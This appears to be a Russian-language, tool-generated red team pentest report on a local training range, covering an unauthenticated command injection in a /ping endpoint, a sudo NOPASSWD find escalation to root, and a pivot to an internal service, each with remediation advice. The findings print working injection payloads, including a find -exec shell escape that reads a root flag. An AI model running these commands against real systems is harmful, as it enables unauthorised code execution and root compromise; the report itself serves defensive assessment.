Отчёт о Red Team пентесте — DEFAULT mode — exploit/privesc/lateral/post

Логотип организации	[COMPANY LOGO]
Идентификатор проекта	RT-20261127-F11C
Проект	DEFAULT mode — exploit/privesc/lateral/post
Заказчик	Local training range
Дата отчёта	2026-11-27
Режим	Стандартный
Статус	completed
Название организации	DSH Red Team
Подготовил	DSH Red Team
Проверил	Independent QA review
Контактное лицо	Not recorded
Веб-сайт	Not recorded
Версия отчёта	1.0
Классификация	КОНФИДЕНЦИАЛЬНО
Распространение	Только для уполномоченного распространения.
Идентификатор отчёта	RT-20261127-F11C
Дата авторизации	2026-11-27
Согласование заказчика	Local training range authorized representative

Краткое резюме

Настоящий отчёт охватывает проект DEFAULT mode — exploit/privesc/lateral/post для Local training range. Работы выполнялись с 2026-11-27 по 2026-11-27 в режиме «Стандартный» в отношении 1 авторизованных записей области работ. Отчёт сформирован исключительно из зафиксированного состояния проекта.

Цель

- Prove exploitation, privilege escalation, lateral movement and post-exploitation end-to-end

Общий риск в бизнес-терминах

Требуются немедленные действия. Подтверждённые эксплуатируемые слабости могут привести к утечке данных клиентов, компрометации учётных записей или нарушению работы бизнеса.

Три главных бизнес-проблемы

Идентификатор	Проблема	Критичность	Влияние на бизнес
F-01	OS command injection in /ping?host= (unauthenticated RCE)	Критическая	Не зафиксировано
F-02	Sudo misconfiguration: NOPASSWD /usr/bin/find enables root (GTFOBins)	Высокая	Не зафиксировано

Идентификатор	Проблема	Критичность	Влияние на бизнес
F-03	Internal service exposure via command-injection pivot to internal:8080	Средняя	Не зафиксировано

Что исправить в первую очередь

- F-01 — OS command injection in /ping?host= (unauthenticated RCE): Never interpolate user input into a shell. Use an allow-list of hosts and a direct exec of the ping binary with argument arrays (no shell=True), or better an in-process ICMP/TCP check. Add authn/authz on the endpoint, disable the diagnostic in production, and log/alert on metacharacters. (рекомендуемый срок: 24 часа)
- F-02 — Sudo misconfiguration: NOPASSWD /usr/bin/find enables root (GTFOBins): Remove the NOPASSWD find rule. Never allow interpreters or tools with -exec/editor escapes in sudoers; if a diagnostic is required, grant a tight wrapper script with fixed arguments. Enforce Cmnd_Alias allow-lists, log sudo, and monitor for GTFOBins patterns. (рекомендуемый срок: 7 дней)
- F-03 — Internal service exposure via command-injection pivot to internal:8080: Segment the lab/production network so DMZ entry hosts cannot initiate arbitrary connections to internal management/service networks (deny by default egress, explicit allow-lists). Require authentication on internal services, prefer mTLS, and remove diagnostic command execution endpoints entirely so a web compromise is not a network pivot. (рекомендуемый срок: 30 дней)

Покрытие и ограничения

Этапов учтено: 9 из 9 (100%): выполнено 9, пропущено по скоупу 0. Проверок WSTG: 3. Находок с доказательствами: 3 из 3 (100%).

Ограничения и допущения: Ограничения для этого проекта не зафиксированы.

Согласование

Подготовил: DSH Red Team · Проверил: Independent QA review · Согласование заказчика: Local training range authorized representative

Зафиксировано находок: 3, в том числе критических — 1, высоких — 1, средних — 1, низких — 0, информационных — 0.

Совокупная оценка риска — Критическая. Средняя оценка CVSS: 7.5. Находок с подтверждённой эксплуатацией: 0.

Хранилище доказательств: записей — 10, общий размер — 10 KB.

Ключевые находки

Ниже перечислены пять наиболее значимых находок; подробности приведены в разделе находок.

#	Идентификатор	Название	Критичность	Оценка CVSS	Актив
1	F-01	OS command injection in /ping?host= (unauthenticated RCE)	Критическая	9.8	http://192.168.100.101:8081/ping
2	F-02	Sudo misconfiguration: NOPASSWD /usr/bin/find enables root (GTFOBins)	Высокая	7.8	host entry (192.168.100.101)
3	F-03	Internal service exposure via command-injection pivot to internal:8080	Средняя	4.9	http://192.168.100.101:8081/ping (pivot host entry)

Область работ и авторизация

Проверялись только перечисленные ниже цели, диапазоны CIDR и домены. Все указанные исключения соблюдены.

Заказчик подтвердил правила взаимодействия до начала активных работ. Приведённая авторизация относится к проекту RT-20261127-F11C.

Правила взаимодействия	Да
Дата принятия	2026-11-27 12:51Z
Заказчик	Local training range
Контакт	Не зафиксировано
Дата начала	Не зафиксировано
Дата окончания	Не зафиксировано
Примечания	Не зафиксировано

Цели (1): http://192.168.100.101:8081/

Диапазоны CIDR (0): Нет

Домены (0): Нет

Исключения (0): Нет

Методология

Работы выполнялись по фазам PTES. Статус и длительность фаз рассчитаны по зафиксированным отметкам времени; оценочные значения не приводятся.

Структура: фазы PTES, уровни и метрики вектора CVSS v3.1, OWASP Top 10 2021, OWASP WSTG и идентификаторы CWE. Контроли PCI DSS v4.0 и ISO/IEC 27001:2022 приводятся только при наличии меток на находке.

Покрытие

Общее покрытие WSTG: 3%.

Фаза	Процент
Подготовка	0%
Разведка	0%
Инвентаризация сервисов	0%
Анализ уязвимостей	1%
Эксплуатация	0%
Повышение привилегий	1%
Горизонтальное перемещение	1%
Постэксплуатация	0%
Отчётность	0%

Проверенные проверки WSTG: WSTG-ATHN-02, WSTG-CONF-01, WSTG-INPV-12.

Оценка риска

Распределение находок по уровням критичности. Используются диапазоны CVSS v3.1.

Критичность	Оценка CVSS	Количество	Находки
Критическая	9.0 – 10.0	1	F-01
Высокая	7.0 – 8.9	1	F-02
Средняя	4.0 – 6.9	1	F-03
Низкая	0.1 – 3.9	0	Нет
Информационная	0.0	0	Нет

Средняя оценка CVSS: 7.5. Выявлено активов: 0.

Находки по критичности

Количество и доля от всех зафиксированных находок. Длина полос масштабирована по максимальной категории.

Критичность	Оценка CVSS	Количество	Доля	Распределение
Критическая	9.0 – 10.0	1	33.3%	▓▓▓
Высокая	7.0 – 8.9	1	33.3%	▓▓▓
Средняя	4.0 – 6.9	1	33.3%	▓▓▓
Низкая	0.1 – 3.9	0	0%	
Информационная	0.0	0	0%	

Диапазоны критичности CVSS v3.1 / NIST

Количество в диапазонах считается по зафиксированным базовым оценкам CVSS v3.1. Находки без оценки учитываются отдельно и не относятся ни к одному диапазону.

Диапазон	Значения CVSS	Находки	Доля	Распределение
Нет	0.0	0	0%	
Низкая	0.1 – 3.9	0	0%	
Средняя	4.0 – 6.9	1	33.3%	▓▓▓
Высокая	7.0 – 8.9	1	33.3%	▓▓▓
Критическая	9.0 – 10.0	1	33.3%	▓▓▓

Всего: 3. Оценка CVSS не зафиксирована: 0.

Сводка покрытия

Показатель	Значение
Этапов учтено	9 из 9 (100%)
Проверки WSTG	3 · 3%
Находки с доказательствами	3 из 3 находок
Записи доказательств	10

Приоритет устранения

Приоритет	Находки
P1	2
P2	1
P3	0
P4	0

Приоритеты являются рекомендуемыми ориентирами, рассчитанными по зафиксированной критичности, а не согласованными SLA.

Находки

Зафиксировано находок: 3, из них 0 с подтверждённой эксплуатацией.

F-01 — OS command injection in /ping?host= (unauthenticated RCE)

Идентификатор	F-01
Актив	http://192.168.100.101:8081/ping
Критичность	Критическая
Оценка CVSS	9.8
Вектор CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-78
OWASP Top 10	A03:2021 Внедрение вредоносного кода
WSTG	WSTG-INPV-12
Фаза	Анализ уязвимостей
Статус	Проверено
Достоверность	70%
Запуск инструмента	run_mwyzdi6pmbw5yw

Воздействие на бизнес: Не зафиксировано

Подтверждение:

```
$ curl -sS --get --data-urlencode host=127.0.0.1;id;hostname --max-time 15 http://192.168.100.101:8081/ping
```

```
Request (curl): curl -sS --get --data-urlencode 'host=127.0.0.1;id;hostname' http://192.168.100.101:8081/ping
Response: exit=0 / uid=1000(support) gid=1000(support) groups=1000(support) / entry / [stderr] /bin/sh: 12
7.0.0.1: not found
Evidence id ev_mwyzdidl_3sfs8voo83 (run_mwyzdi6pmbw5yw).
```

Рекомендации по устранению: Never interpolate user input into a shell. Use an allow-list of hosts and a direct exec of the ping binary with argument arrays (no shell=True), or better an in-process ICMP/TCP check. Add authn/authz on the endpoint, disable the diagnostic in production, and log/alert on metacharacters.

Источники:

- CWE-78 — MITRE Common Weakness Enumeration — https://cwe.mitre.org/data/definitions/78.html
- OWASP Top 10 A03:2021 — Внедрение вредоносного кода — https://owasp.org/Top10/A03_2021-Injection/
- OWASP WSTG WSTG-INPV-12 — https://owasp.org/www-project-web-security-testing-guide/v42/

F-02 — Sudo misconfiguration: NOPASSWD /usr/bin/find enables root (GTFOBins)

Идентификатор	F-02
Актив	host entry (192.168.100.101)
Критичность	Высокая
Оценка CVSS	7.8

Идентификатор	F-02
Вектор CVSS	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-250
OWASP Top 10	A05:2021 Неправильная конфигурация безопасности
WSTG	WSTG-ATHN-02
Фаза	Повышение привилегий
Статус	Проверено
Достоверность	70%
Запуск инструмента	run_mwyzfcahgyqyq6

Воздействие на бизнес: Не зафиксировано

Подтверждение:

```
$ curl -sS --get --data-urlencode host=127.0.0.1;sudo -n /usr/bin/find . -maxdepth 0 -exec /bin/sh -c 'id; cat /root/root.txt' \; --max-time 20 http://192.168.100.101:8081/ping
```

```
sudo -n -l (run_mwyzewjgnj28b3): "User support may run the following commands on entry: (root) NOPASSWD: /usr/bin/find" (evidence ev_mwyzewt4_eesba50qgr).
curl --get --data-urlencode "host=127.0.0.1;sudo -n /usr/bin/find . -maxdepth 0 -exec /bin/sh -c 'id; cat /root/root.txt' \;" http://192.168.100.101:8081/ping (run_mwyzfcahgyqyq6)
Response: uid=0(root) gid=0(root) ... / LAB{root_flag_entry_pwned} (evidence ev_mwyzfcho_mwoo5m09lq).
```

Рекомендации по устранению: Remove the NOPASSWD find rule. Never allow interpreters or tools with -exec/editor escapes in sudoers; if a diagnostic is required, grant a tight wrapper script with fixed arguments. Enforce Cmnd_Alias allow-lists, log sudo, and monitor for GTFOBins patterns.

Источники:

- CWE-250 — MITRE Common Weakness Enumeration — https://cwe.mitre.org/data/definitions/250.html
- OWASP Top 10 A05:2021 — Неправильная конфигурация безопасности — https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
- OWASP WSTG WSTG-ATHN-02 — https://owasp.org/www-project-web-security-testing-guide/v42/

F-03 — Internal service exposure via command-injection pivot to internal:8080

Идентификатор	F-03
Актив	http://192.168.100.101:8081/ping (pivot host entry)
Критичность	Средняя
Оценка CVSS	4.9
Вектор CVSS	CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
CWE	CWE-441
OWASP Top 10	A01:2021 Нарушение контроля доступа
WSTG	WSTG-CONF-01
Фаза	Горизонтальное перемещение
Статус	Проверено
Достоверность	70%
Запуск инструмента	run_mwyzfoputgm614

Воздействие на бизнес: Не зафиксировано

Подтверждение:

```
$ curl -sS --get --data-urlencode host=127.0.0.1;curl -sS --max-time 8 http://internal:8080/flag --max-time 20 http://192.168.100.101:8081/ping
```

```
curl --get --data-urlencode "host=127.0.0.1;curl -sS --max-time 8 http://internal:8080/flag" http://192.168.100.101:8081/ping (run_mwyzfoputgm614)
Response: exit=0 / LAB{internal_lateral_movement_flag} (evidence ev_mwyzfoww_tmhv9hae4u). Internal host not directly reachable from the assessment host.
```

Рекомендации по устранению: Segment the lab/production network so DMZ entry hosts cannot initiate arbitrary connections to internal management/service networks (deny by default egress, explicit allow-lists). Require authentication on internal services, prefer mTLS, and remove diagnostic command execution endpoints entirely so a web compromise is not a network pivot.

Источники:

- CWE-441 — MITRE Common Weakness Enumeration — https://cwe.mitre.org/data/definitions/441.html
- OWASP Top 10 A01:2021 — Нарушение контроля доступа — https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP WSTG WSTG-CONF-01 — https://owasp.org/www-project-web-security-testing-guide/v42/

Сопоставление с требованиями

Распределение зафиксированных находок по категориям OWASP Top 10 2021.

Чек-лист OWASP Top 10 2021

Статус выводится только из зафиксированного покрытия и меток находок. Категория помечается как неприменимая только при наличии таких данных в проекте.

Категория	Название	Количество	Статус	Распределение
A01	Нарушение контроля доступа	1	Проверено	▮▮▮▮▮▮▮▮▮▮
A02	Криптографические сбои	0	not-tested	▮▮▮▮▮▮▮▮▮▮
A03	Внедрение вредоносного кода	1	Проверено	▮▮▮▮▮▮▮▮▮▮
A04	Небезопасный дизайн	0	not-tested	▮▮▮▮▮▮▮▮▮▮
A05	Неправильная конфигурация безопасности	1	Проверено	▮▮▮▮▮▮▮▮▮▮
A06	Уязвимые и устаревшие компоненты	0	not-tested	▮▮▮▮▮▮▮▮▮▮
A07	Сбои идентификации и аутентификации	0	not-tested	▮▮▮▮▮▮▮▮▮▮
A08	Сбои целостности программного обеспечения и данных	0	not-tested	▮▮▮▮▮▮▮▮▮▮
A09	Сбои мониторинга безопасности и журналирования	0	not-tested	▮▮▮▮▮▮▮▮▮▮
A10	Подделка запросов на стороне сервера (SSRF)	0	not-tested	▮▮▮▮▮▮▮▮▮▮

На находках не зафиксировано меток контролей PCI DSS или ISO 27001.

Реестр доказательств

В ходе работ собраны доказательства: записей — 10, общий размер — 10 KB. Имена файлов и хеши SHA-256 относятся к сохранённым артефактам в хранилище доказательств проекта.

Вывод инструментов и сканирований (9)

- ev_mwz0qays_wbj4lgy03h · Вывод инструмента · nuclei on http://192.168.100.101:8081/ (exit 0) · http://192.168.100.101:8081/ · 2026-11-27 13:29Z · 2 KB · SHA-256: c3cb42939e01282c4659803b1026687e297baaa8a8c59fdba9f7816b0762717b · Связанные находки: Нет · Файл: nuclei-on-http-192-168-100-101-8081-exit-0.txt
- ev_mwyzg3ir_zfjgnv51rv · Вывод инструмента · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:53Z · 399 B · SHA-256: 7d03c6a9460ee9c9b7b7cb0ad9fb167098d06d47ef8001f5d95c77f226eafca7 · Связанные находки: Нет · Файл: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyzfoww_tmhv9hae4u · Вывод инструмента · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:53Z · 301 B · SHA-256: a6d0a42e3ee0a8e4a35863d4dfe2ed4ba00f4f1d847601501482e15ec18e50d1 · Связанные находки: F-03 · Файл: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyzfcho_mwoo5m09lq · Вывод инструмента · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:53Z · 455 B · SHA-256: a8c8721b39a445b5acda19690170d4dc24c8dd82d97051a70e8d74e8b885bd56 · Связанные находки: F-02 · Файл: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyzewt4_eesba50qgr · Вывод инструмента · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:52Z · 571 B · SHA-256: 2a39802dfe97cba8fdbf1bff8a90bc9d59bf2e260e56a4523a6f3f3954e82110 · Связанные находки: Нет · Файл: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyzeqe4_m9ok1l39c6 · Вывод инструмента · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:52Z · 333 B · SHA-256: 8f4f3dc60872fe28894c472053db2bf40930aa2257d428c0dab5673346ac9c27 · Связанные находки: F-01 · Файл: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyze1c2_e1j2e6cnd3 · Вывод инструмента · curl on http://192.168.100.101:8081/ (exit 0) · http://192.168.100.101:8081/ · 2026-11-27 12:52Z · 514 B · SHA-256: 4a71175663546869143bf7a4a7796da46d7575f7146942d0b31143db5885908a · Связанные находки: Нет · Файл: curl-on-http-192-168-100-101-8081-exit-0.txt
- ev_mwyzdidl_3sfs8voo83 · Вывод инструмента · curl on http://192.168.100.101:8081/ping (exit 0) · http://192.168.100.101:8081/ping · 2026-11-27 12:51Z · 291 B · SHA-256: 8c46fa58f7a60296ce03f129523dd82908225d1a9b107e48441588e9228be910 · Связанные находки: F-01 · Файл: curl-on-http-192-168-100-101-8081-ping-exit-0.txt
- ev_mwyzdael_440vwsirpg · Вывод инструмента · curl on http://192.168.100.101:8081/ (exit 0) · http://192.168.100.101:8081/ · 2026-11-27 12:51Z · 668 B · SHA-256: 14b22ccca6dc5df9e8483d192f01098547c66aa9db7d732a585037c91bc884f6 · Связанные находки: Нет · Файл: curl-on-http-192-168-100-101-8081-exit-0.txt

Захваченные данные (1)

- ev_mwyzd2gu_lx0t4snwej · Данные JSON · Web assessment http://192.168.100.101:8081/ · http://192.168.100.101:8081/ · 2026-11-27 12:51Z · 4.9 KB · SHA-256: b9e3d702ab5200bd837ecb3048e8eac1c282479b26b42dfe579491f297903a62 · Связанные находки: Нет · Файл: web-assessment-http-192-168-100-101-8081.json

Приложение — перечень инструментов

Инструменты, зафиксированные в проекте. Счётчики построены по записям запусков; командные строки и детали процесса в клиентский отчёт намеренно не включаются.

Инструмент	Запуски	Ненулевые коды	Этапы	Первое использование	Последнее использование
curl	8	0	Инвентаризация сервисов, Эксплуатация, Горизонтальное перемещение, Постэксплуатация, Повышение привилегий, Разведка, Анализ уязвимостей	2026-11-27 12:51Z	2026-11-27 12:53Z
nuclei	1	0	Анализ уязвимостей	2026-11-27 13:29Z	2026-11-27 13:29Z

Отказ от ответственности

Настоящий отчёт подготовлен DSH Red Team для проекта RT-20261127-F11C в интересах Local training range. Отчёт является конфиденциальным и предназначен только для уполномоченных получателей. Работы выполнялись исключительно в отношении целей, явно перечисленных в правилах взаимодействия; объекты, указанные как исключения, не проверялись. Находки отражают состояние среды на момент проведения работ; уязвимости, возникшие или раскрытые позднее, могут быть не отражены. Отчёт предоставляется без каких-либо гарантий. Все работы требовали письменной авторизации; ответственность за использование результатов вне согласованной области несёт получатель.

Распространение ограничено заказчиком проекта и уполномоченными получателями. Настоящий отчёт нельзя использовать как авторизацию для дополнительных работ.

RT-20261127-F11C · КОНФИДЕНЦИАЛЬНО · Только для уполномоченного распространения.